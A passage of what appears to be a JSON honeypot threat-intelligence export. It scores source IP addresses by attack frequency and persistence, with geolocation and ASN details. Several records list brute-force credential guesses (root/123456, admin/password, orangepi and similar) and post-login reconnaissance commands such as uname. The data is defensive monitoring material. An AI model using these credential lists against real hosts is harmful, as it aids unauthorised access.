        "last_seen_30d": "2026-03-14T00:58:19.838000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "124.29.230.134": {
      "attack_count": 50,
      "first_seen": "2026-03-07T22:43:44.391Z",
      "last_seen": "2026-03-07T22:49:16.608Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T22:43:44.391000+00:00",
        "last_seen_30d": "2026-03-07T22:50:18.628000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "143.110.179.14": {
      "attack_count": 48,
      "first_seen": "2026-03-02T09:59:50.720Z",
      "last_seen": "2026-03-02T10:04:48.626Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test1",
        "test2",
        "test3"
      ],
      "passwords_attempted": [
        "123",
        "root123",
        "root321",
        "test1",
        "test2",
        "test3"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T09:59:08.429000+00:00",
        "last_seen_30d": "2026-03-02T10:05:49.478000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 16
      }
    },
    "159.223.214.23": {
      "attack_count": 45,
      "first_seen": "2026-03-20T22:48:33.962Z",
      "last_seen": "2026-03-20T22:56:53.211Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T22:48:33.962000+00:00",
        "last_seen_30d": "2026-03-20T22:57:54.055000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 19
      }
    },
    "188.166.150.118": {
      "attack_count": 45,
      "first_seen": "2026-03-04T15:33:48.644Z",
      "last_seen": "2026-03-04T15:54:35.542Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "123456789",
        "1234567890",
        "admin",
        "password",
        "password1",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T15:32:57.873000+00:00",
        "last_seen_30d": "2026-03-04T15:55:44.348000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 20
      }
    },
    "185.93.89.70": {
      "attack_count": 33,
      "first_seen": "2026-03-03T12:38:06.559Z",
      "last_seen": "2026-03-06T05:24:47.066Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        ".2024Kelltech",
        "123#Kelltech",
        "2026.Kelltech",
        "Kelltech2026",
        "kelltech!2026",
        "kelltech2020@"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:03:14.579000+00:00",
        "last_seen_30d": "2026-03-06T05:25:54.877000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 22,
        "Heralding": 1
      }
    },
    "43.139.119.32": {
      "attack_count": 28,
      "first_seen": "2026-03-06T06:21:35.043Z",
      "last_seen": "2026-03-06T06:55:49.813Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "gianluca",
        "hl",
        "kali",
        "storage"
      ],
      "passwords_attempted": [
        "Hl123!",
        "gianluca123",
        "password",
        "storagepass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:21:35.043000+00:00",
        "last_seen_30d": "2026-03-06T06:56:52.242000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 23
      }
    },
    "103.149.244.196": {
      "attack_count": 22,
      "first_seen": "2026-03-22T18:55:37.628Z",
      "last_seen": "2026-03-22T18:58:07.748Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134760,
      "as_org": "Shijiazhuang IDC network, CHINANET Hebei province",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T18:55:37.628000+00:00",
        "last_seen_30d": "2026-03-22T18:59:16.230000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "101.36.126.70": {
      "attack_count": 20,
      "first_seen": "2026-03-07T07:45:50.797Z",
      "last_seen": "2026-03-07T07:47:31.183Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T07:45:50.797000+00:00",
        "last_seen_30d": "2026-03-07T07:48:32.146000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "162.142.125.216": {
      "attack_count": 18,
      "first_seen": "2026-03-03T01:36:31.438Z",
      "last_seen": "2026-03-16T13:30:56.613Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 22,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T10:04:32+00:00",
        "last_seen_30d": "2026-03-23T03:26:23.821000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 32,
        "Cowrie": 18,
        "ElasticPot": 9,
        "Dionaea": 3
      }
    },
    "101.47.50.50": {
      "attack_count": 15,
      "first_seen": "2026-03-26T15:53:48.030Z",
      "last_seen": "2026-03-26T16:07:05.591Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "icecast"
      ],
      "passwords_attempted": [
        "icecast1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T15:53:48.030000+00:00",
        "last_seen_30d": "2026-03-26T16:11:43.983000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 11
      }
    },
    "125.212.192.194": {
      "attack_count": 12,
      "first_seen": "2026-03-08T07:46:48.710Z",
      "last_seen": "2026-03-29T18:29:09.853Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123qwe!@#"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38731,
      "as_org": "CHT Compamy Ltd",
      "threat_score": 40.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:05:28.132000+00:00",
        "last_seen_30d": "2026-03-29T18:30:11.524000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 10
      }
    },
    "85.11.183.27": {
      "attack_count": 12,
      "first_seen": "2026-03-02T18:02:37.965Z",
      "last_seen": "2026-03-08T21:04:44.270Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3303,
        "days_active_30d": 30,
        "ports_targeted_30d": 418,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T13:11:00+00:00",
        "last_seen_30d": "2026-03-31T03:23:46.768000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2227,
        "Honeytrap": 1042,
        "Cowrie": 12,
        "Dionaea": 6,
        "H0neytr4p": 5,
        "Tanner": 4,
        "Ciscoasa": 3,
        "CitrixHoneypot": 2,
        "Honeyaml": 2
      }
    },
    "104.199.107.195": {
      "attack_count": 9,
      "first_seen": "2026-03-03T11:05:06.923Z",
      "last_seen": "2026-03-03T11:05:21.002Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:05:06.923000+00:00",
        "last_seen_30d": "2026-03-03T13:01:37.478000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 7
      }
    },
    "117.200.56.113": {
      "attack_count": 8,
      "first_seen": "2026-03-28T10:38:24.877Z",
      "last_seen": "2026-03-28T10:38:40.467Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Machilipatnam",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:38:24.877000+00:00",
        "last_seen_30d": "2026-03-28T10:39:47.039000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "205.210.31.212": {
      "attack_count": 8,
      "first_seen": "2026-03-25T04:25:32.604Z",
      "last_seen": "2026-03-26T11:00:48.431Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T03:19:54+00:00",
        "last_seen_30d": "2026-03-31T20:26:44.552000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 33,
        "Cowrie": 8,
        "Sentrypeer": 1
      }
    },
    "35.216.254.237": {
      "attack_count": 8,
      "first_seen": "2026-03-11T00:05:44.365Z",
      "last_seen": "2026-03-24T19:45:58.573Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 15169,
      "as_org": "Google LLC",
      "threat_score": 70.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 23.3,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 28,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T01:09:06.183000+00:00",
        "last_seen_30d": "2026-03-30T18:37:06.724000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 8,
        "Honeytrap": 4,
        "Ciscoasa": 2
      }
    },
    "185.247.137.251": {
      "attack_count": 6,
      "first_seen": "2026-03-03T10:53:59.979Z",
      "last_seen": "2026-03-03T10:54:02.738Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T10:53:59.979000+00:00",
        "last_seen_30d": "2026-03-03T10:55:09.052000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "47.120.36.3": {
      "attack_count": 6,
      "first_seen": "2026-03-08T00:38:05.453Z",
      "last_seen": "2026-03-08T00:38:25.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-08T00:36:48+00:00",
        "last_seen_30d": "2026-03-08T00:40:54.576000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 32,
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "68.199.97.245": {
      "attack_count": 6,
      "first_seen": "2026-03-04T14:42:17.728Z",
      "last_seen": "2026-03-21T02:33:00.371Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Huntington Station",
      "asn": 6128,
      "as_org": "Cablevision Systems Corp.",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:42:17.728000+00:00",
        "last_seen_30d": "2026-03-21T02:34:07.372000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "71.6.232.30": {
      "attack_count": 6,
      "first_seen": "2026-03-09T01:19:58.967Z",
      "last_seen": "2026-03-10T04:11:39.242Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 88.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 30,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T06:53:10+00:00",
        "last_seen_30d": "2026-03-31T22:03:55.797000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Redishoneypot": 12,
        "Cowrie": 6,
        "Dionaea": 4,
        "Honeytrap": 4,
        "Tanner": 2
      }
    },
    "14.103.120.70": {
      "attack_count": 5,
      "first_seen": "2026-03-19T19:09:54.008Z",
      "last_seen": "2026-03-19T19:09:56.723Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "eder"
      ],
      "passwords_attempted": [
        "Eder123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T19:09:54.008000+00:00",
        "last_seen_30d": "2026-03-19T19:11:03.314000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "157.15.59.124": {
      "attack_count": 5,
      "first_seen": "2026-03-02T02:35:54.594Z",
      "last_seen": "2026-03-02T02:35:58.214Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nepal",
      "country_code": "NP",
      "city": null,
      "asn": 152448,
      "as_org": "Global Trading And IT Solution Pvt. Ltd.",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:35:54.594000+00:00",
        "last_seen_30d": "2026-03-02T02:37:02.633000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.239": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:55:44.471Z",
      "last_seen": "2026-03-10T23:55:46.856Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "mellon"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:55:44.471000+00:00",
        "last_seen_30d": "2026-03-10T23:56:52.390000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "172.202.50.78": {
      "attack_count": 4,
      "first_seen": "2026-03-22T17:07:52.351Z",
      "last_seen": "2026-03-22T17:08:02.888Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 67.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.7,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T16:04:31.824000+00:00",
        "last_seen_30d": "2026-03-31T03:35:16.536000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 9,
        "Cowrie": 4
      }
    },
    "195.184.76.63": {
      "attack_count": 4,
      "first_seen": "2026-03-24T21:08:09.315Z",
      "last_seen": "2026-03-24T21:08:09.977Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 84.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T10:57:04+00:00",
        "last_seen_30d": "2026-03-31T16:31:20.275000+00:00",
